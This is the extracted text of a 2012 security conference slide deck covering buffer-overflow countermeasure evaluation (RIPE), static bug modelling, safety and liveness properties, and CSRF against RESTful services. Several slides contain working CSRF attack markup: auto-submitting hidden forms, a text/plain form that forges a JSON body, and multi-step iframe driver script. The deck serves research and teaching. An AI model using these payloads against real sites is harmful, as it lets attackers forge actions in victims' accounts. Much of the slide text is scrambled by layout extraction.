My (@johnwilander) talk at HackPra 2012, Bochum, Germany. It covers things I've been doing in software and application security the last ten years. Not all of it but the good parts. Enjoy!
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Application Security, in Six Parts (HackPra 2012)
1. Application Security, in Six Parts
The Developer Part of the Problem (slides 2-12)
Buffer Overflows (slides 13-63)
Modeling Security Bugs (slides 64-83)
Safety & Liveness Properties (slides 84-96)
CSRF Against RESTful Services (slides 97-130)
Multi-Step, Semi-Blind CSRF (slides 131-150)
@johnwilander at HackPra Feb 1 2012
Bochum, Germany
9. Priori%za%on of System Features and Proper%es
100%
90%
80%
70%
60%
50%
40%
30%
20%
10%
0%
Features specified Availability and Usability Performance Maintainability Security and Privacy Features not
Up@me specified but likely
to be needed
10. Frontend developer at
Svenska Handelsbanken
Researcher in application security
Co-leader OWASP Sweden
@johnwilander
johnwilander.com (music)
johnwilander.se (papers etc)
Priori%za%on of System Features and Proper%es
100%
Push
90%
80%
70%
60%
50%
40%
30%
20%
10%
0%
Features specified Availability and Usability Performance Maintainability Security and Privacy Features not
Up@me specified but likely
to be needed
11. Priori%za%on of System Features and Proper%es
Priorities
100%
Push
90%
80%
70%
60%
50%
40%
30%
20%
10%
0%
Features specified Availability and Usability Performance Maintainability Security and Privacy Features not
Up@me specified but likely
to be needed
12. Priori%za%on of System Features and Proper%es
Priorities
100%
90%
80%
70%
60%
50%
40%
30%
20%
10%
0%
Features specified Availability and Usability Performance Maintainability Security and Privacy Features not
Up@me specified but likely
to be needed
13. RIPE:
Runtime Intrusion
Prevention Evaluator
Published in the Proceedings of the 27th Annual
Computer Security Applications Conference 2011
Joint work with Nick Nikiforakis & Yves Younan
http://johnwilander.se/research_publications/
paper_acsac2011_wilander_nikiforakis_younan_kamkar_joosen.pdf
14. RIPE is ...
... a deliberately vulnerable C program
... that attacks itself,
... to allow evaluation of countermeasures.
15. RIPE contributions:
850 working buffer overflow attack forms
Evaluation of 8 countermeasures
7% to 89% of attack forms prohibited
18. RIPE backend
Backend Performs
(C) one attack
per execution
Can be run
stand-alone,
command-line
19. RIPE backend
./ripe_attack_generator
Backend Performs
(C)
-t direct -i simplenop -c one attack
ret
per execution
-l stack -f strcpy
Can be run
stand-alone,
command-line
25. NDSS ’03 Testbed
Target
Att 850 attack forms
ack
cod
e
Technique
n
at io
oc Fu
L nc
tio
n
26. ACSAC ’11 Testbed
• RET
• Old base ptr
Target
• Func ptr
Att • Longjmp buffer
ack • Struct with buffer & func ptr
cod
e
Technique
n
at io
oc Fu
L nc
tio
n
27. ACSAC ’11 Testbed
Target
Att
ack
cod
e
Technique • Direct
n
at io • Indirect
oc Fu
L nc
tio
n
28. ACSAC ’11 Testbed
Target
Att
ack
cod
e
Technique
n
at io •memcpy
oc Fu
L nc •str(n)cpy
tio •s(n)printf
n •str(n)cat
•{s|f}scanf
• loop equiv of memcpy
29. ACSAC ’11 Testbed
Target
Att
ack
cod
e
Technique
n
at io
oc Fu
L nc
• Stack (local var & param) tio
n
• Heap
• BSS
• Data
30. ACSAC ’11 Testbed
• Shellcode
Target
• Shellcode + NOP
• Shellcode + Polym. NOP
• Create file Att
ack
• Return-into-libc cod
• ROP e
Technique
n
at io
oc Fu
L nc
tio
n
32. Direct Overflow with Injected Code
Vulnerable Other variables Target code
buffer pointer
Optional Attack code Padded Address N
NOP sled, (shell code bytes back to u
simple or or NOP sled or l
polymorph create file) attack code l
./ripe_attack_generator -t direct -i simplenop -c ret
-l stack -f strcpy
33. Overflow Within Struct
Struct
Vulnerable Other Function
buffer variables pointer
Optional Attack code Address
NOP sled, (shell code back to
simple or or NOP sled or
polymorph create file) attack code
./ripe_attack_generator -t direct -i nonop
-c structfuncptrstack -l stack -f strcpy
34. Indirect Overflow
Vulnerable Other variables General
buffer pointer
Optional Attack code Padded Address N
NOP sled, (shell code bytes back to u
simple or or NOP sled or l
polymorph create file) attack code l
Target code
pointer
./ripe_attack_generator -t indirect -i nonop -c ret
-l stack -f strcpy
35. Injected Stackframe
Vulnerable Other variables Old
buffer basepointer
Optional Attack code Fake Address N
NOP sled, (shell code stack to fake u
simple or or frame stack frame l
polymorph create file) l
./ripe_attack_generator -t indirect -i polynop
-c baseptr -l heap -f fscanf
39. ProPolice
Old
Local Local
Guard Base RET
variables buffers
Ptr
sorted
40. CRED
Base Extent
Referent objects
Base Extent Base Extent
Base Extent Base Extent
ptr
41. CRED
Base Extent
Base Extent Base Extent
Base Extent Base Extent
Any pointer dereferencing
ptr
has to stay within bounds
42. CRED
Base Extent
Base Extent Base Extent
Base Extent Base Extent Out-of-bounds object
Obj Value
Pointers allowed to be
out of bounds during ptr
artihmetics
44. Stack Shield
Stack frame B
Global RET stack RET B
RET B Stack frame A
RET A
45. Stack Shield
Stack frame B
RET B
Global RET stack
RET B Stack frame A
RET A
46. Stack Shield
Stack
Heap
BSS
Data segment
Boundary Function pointers
Text segment
have to point here
47. Libverify
Stack
Heap
BSS
Data segment
Text segment
48. Libverify
Stack
Heap
BSS
Data segment
All functions
Text segment
49. Libverify
Stack
Heap
Copy all
BSS functions
to the
Data segment
heap
All functions
Text segment
50. Libverify
Stack
Instrument all
functions to copy
RET B
their RET to a
RET A
All functions canary stack and
Heap check it before
return
BSS
Data segment
Text segment
51. Libsafe
Library functions may
never overwrite a
buffer pass the old
base pointer
Boundary
Old base pointer
RET
Parameters
54. LibsafePlus & TIED
Binary Libsafe-Plus Offset from
frame pointer
and size for
Debug info TIED all buffers
55. LibsafePlus & TIED
Instruments all functions
to check bounds
Binary Libsafe-Plus Offset from
frame pointer
and size for
Debug info TIED all buffers
56. Non-Executable Memory (XD + PAE)
Stack
W
W⊻X Heap W
writable XOR executable
BSS W
Data segment W
Text segment X
62. Results, top 4
Fails to protect against direct and indirect, stack/BSS/data-based
overflows toward function pointers, longjmp buffers, and structs for
Effective Successful Partly
sprintf(), snprintf(), sscanf(), and fscanf().
Failed
attacks successful attacks
Attacks against structs also successful -ness
for memcpy() and loop equivalent
ProPolice only attacks successful from buffers on the heap.
and are the 40% 59% 1% 40%
LibsafePlus + TIED 77% 20% 3% 77%
CRED 79% 20% 0.5% 79%
Ubuntu 9.10 (W⊻X + CRED) 89% 9% 1% 89%
63. Results, top 4
All code injection countermeasured. Apart from that:
All struct attack forms were successful.
Effective heap and the
All direct attacks against function pointers on theSuccessful Partly data Failed
attacks successful attacks
segment were successful. -ness
Indirect attacks against the old base pointer work in general on the
ProPolice and data segment for memcpy(), strcpy(), strncpy(), sprintf(),
heap, BSS, 40% 59% 1% 40%
LibsafePlusstrcat(), strncat(), sscanf(), fscanf(), and loop equivalent. 77%
snprintf(), + TIED 77% 20% 3%
CRED 79% 20% 0.5% 79%
Ubuntu 9.10 (W⊻X + CRED) 89% 9% 1% 89%
64. Modeling, Visualizing,
and Pattern Matching
Security Bugs
Published in E-Proceedings of Workshop on
Code Based Software Security Assessments 2005
Joint work with Pia Fåk
http://johnwilander.se/research_publications/paper_cobassa2005_wilander_fak.pdf
65. Textual Models
// Start state. Matches any copy_from_user
// call and puts parameter x in tainted state.
start: { copy_from_user(x, y, len) }
==> x.tainted
;
// Catch operations illegal on unsafe values.
x.tainted, x.need_ub, x.need_lb:
{ v[x] } ==>{ err(”Dangerous index!”); }
...
;
67. Data Dependence
int func(int user_input){
user_input
int var;
...
var = user_input * 5;
...
}
var = ...
68. Control Dependence
int func(int user_input){
if(var <= 0) int var;
...
if(var <= 0)
var = 0;
...
}
var = 0;
69. Input Validation
Model of good programming practice
External int func(int user_input){
input int var;
...
var = user_input * 5;
...
def var if(var >= 0 && var < MAX)
for(i = 0; i < var; i++)
array[i] = 0;
...
validate var }
use var
70. Input Validation
Model of good programming practice
External int func(int user_input){
input int var;
...
var = user_input * 5;
...
def var if(var >= 0 && var < MAX)
for(i = 0; i < var; i++)
array[i] = 0;
...
validate var }
use var
71. Input Validation
Model of good programming practice
External int func(int user_input){
input int var;
...
var = user_input * 5;
...
def var if(var >= 0 && var < MAX)
for(i = 0; i < var; i++)
array[i] = 0;
...
validate var }
use var
72. Input Validation
Model of good programming practice
External int func(int user_input){
input int var;
...
var = user_input * 5;
...
def var if(var >= 0 && var < MAX)
for(i = 0; i < var; i++)
array[i] = 0;
...
validate var }
use var
73. Input Validation
Model of good programming practice
External int func(int user_input){
input int var;
...
var = user_input * 5;
...
def var if(var >= 0 && var < MAX)
for(i = 0; i < var; i++)
array[i] = 0;
...
validate var }
use var
74. Normal Use of free()
Model of good programming practice
call free()
A call to free()
binds the buf reference char *buf=(char *)malloc(MAX);
...
to the input parameter free(buf);
ptr_in.
ptr_in=buf
75. Double free()
Model of bad programming practice
call free() 1 call free() 2 char *buf=(char *)malloc(MAX);
...
free(buf);
...
free(buf);
ptr_in_1=buf ptr_in_2=buf
In the case of double free()
there’s a data dependence
from one call to free() and
the subsequent input parameter
ptr_in.
76. Detect Correct Use of
free() Not Enough
entry main()
call malloc() call free()
ptr_in=buf
77. We Have To Detect
Incorrect Use of free()
entry main()
call malloc() call free() 1 call free() 2
The graph with incorrect use of
free() contains a subgraph with ptr_in_1=buf ptr_in_2=buf
correct programming practice.
78. Static Analysis for Security
Must Look For
Both Good and Bad
Programming Practice
79. Can We Use Graphs for
Developer Feedback?
• More inaccuracy lower severity
• Exploit dual of models
81. Possible execution path
No validation
without validation
External External
input input
def var def var
validate var
use var use var
82. Mandatory validation but Mandatory validation but
narrowing type-cast on narrowing type-cast on
validation path usage path
External External
input input
Narrowing def var def var
type-cast
Narrowing
validate var validate var type-cast
use var use var
83. On a Higher Level
Incoming
XML
Demarshalling
DOM parsing
validate object SAX parsing
use object
88. Blacklist vs Whitelist
Build model Build model
of bad stuff of good stuff
Pattern match Detect execution
inside the model outside the model
and raise alarm and raise alarm
89. Blacklist vs Whitelist
Blacklist Whitelist
== ==
model of model of
abnormal normal
behavior behavior
90. Blacklist vs Whitelist
Blacklist Whitelist
== ==
model of model of
abnormal normal
behavior behavior
We always detect bad things
91. So, is software security
all about avoiding/
detecting bad things?
92. So, is software security
allNot formally
about avoiding/
detecting bad things?
93. Safety Liveness
• No ”bad” thing must • A ”good” thing must
happen during (eventually) happen
execution. during execution
Bad state is discrete.
• Not enforceable via
• Enforceable via execution monitoring –
execution monitoring – there’s no way of
prohibit a state detecting that the good
transition from a safe thing won’t happen
state to an unsafe state eventually
94. Safety Liveness
• Access Control • Starvation Freedom
Good thing ==
• Mutual Exclusion making progress
Bad thing ==
Two threads executing • Availability
in the critical section (guaranteed service)
Good thing ==
• Deadlock Freedom Every request serviced
Bad thing ==
Deadlock :) • Termination
Lamport 1977 http://www.cis.umassd.edu/~hxu/courses/cis481/references/Lamport-1977.pdf
Alpern, Schneider 1984 http://ecommons.library.cornell.edu/bitstream/1813/6495/1/85-650.pdf
95. Blacklist vs Whitelist
Safety Properties Liveness Properties
We always detect violations of safety properties
96. This means we have to
stick to
safety properties
if we want to enforce them
97. Final part.
CSRF
against RESTful services
and in several, semi-blind steps
104. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
105. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
106. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
John: I hate OWASP!
107. What’s on your mind? What’s on your mind?
POST <form id="target" method="POST"
action="https://1-liner.org/form">
John: I hate OWASP! <input type="text" value="I hate
OWASP!" name="oneLiner"/>
<input type="submit"
value="POST"/>
</form>
<script type="text/javascript">
$(document).ready(function() {
$('#form').submit();
});
</script>
108. <form id="target" method="POST"
action="https://1-liner.org/form">
<input type="text" value="I hate
OWASP!" name="oneLiner"/>
<input type="submit"
What’s on your mind? What’s on your mind?
value="POST"/>
POST
</form>
John: I hate OWASP!
<script>
$(document).ready(function() {
$('#target').submit();
});
</script>
127. <form id="target" method="POST"
action="https://vulnerable.1-liner.org:
8444/ws/oneliners"
style="visibility:hidden"
enctype="text/plain">
Forms produce a request body that
looks like this:
<input type="text"
name=””
theName=theValue
value="" />
... and that’s not valid JSON.
<input type="submit" value="Go" />
</form>
129. <form id="target" method="POST"
action="https://vulnerable.1-liner.org:
8444/ws/oneliners"
style="visibility:hidden" body that looks
Produces a request
like this:
enctype="text/plain">
<input type="text" 0, "nickName":
{"id":
name='{"id": "John","oneLiner": "I
0, "nickName": "John",
hate OWASP!","timestamp":
"oneLiner": "I hate OWASP!",
"20111006"}//=dummy
"timestamp": "20111006"}//'
value="dummy" />
... and that is acceptable JSON!
<input type="submit" value="Go" />
</form>
131. Important in your REST API
• Restrict HTTP method, e.g. POST
Easier to do CSRF with GET
• Restrict to AJAX if applicable
X-Requested-With:XMLHttpRequest
Cross-domain AJAX prohibited by default
• Restrict media type(s), e.g. application/json
HTML forms only allow URL encoded, multi-part
and text/plain
149. return {
checkIFrames : function() {
var frame;
for (var i = 0; i < frames.length; i++) {
frame = frames[i];
if (!frame.hasOpenedIFrame) {
appendIFrame(frame);
frame.hasOpenedIFrame = true;
break; // Only open one iframe at the time
} else if(frame.hasPosted == "no") {
frame.hasPosted = "maybe";
break; // iframe not done posting, wait
} else if(frame.hasPosted == "maybe") {
frame.hasPosted = "yes";
break; // iframe not done posting, wait
} else if (frame.hasPosted == "yes") {
continue; // Time to allow for the next iframe to open
}
}
},
receiveMessage : function(event) {
if (event.origin == "https://attackr.se:8444") {
CSRF.frames[parseInt(event.data)].hasPosted = "no";
// Still on CSRF page so POST not done yet
}
}
csrfMultiDriver.html
150. Demo Multi-Step,
Semi-Blind CSRF
against 2 high-profile online
shops in the EU where I’ve
spent €1000s myself
No video recording, please ;)
151. Thanks!
Let’s all meet at
OWASP AppSec Research 2012
http://www.appsecresearch.org/
@johnwilander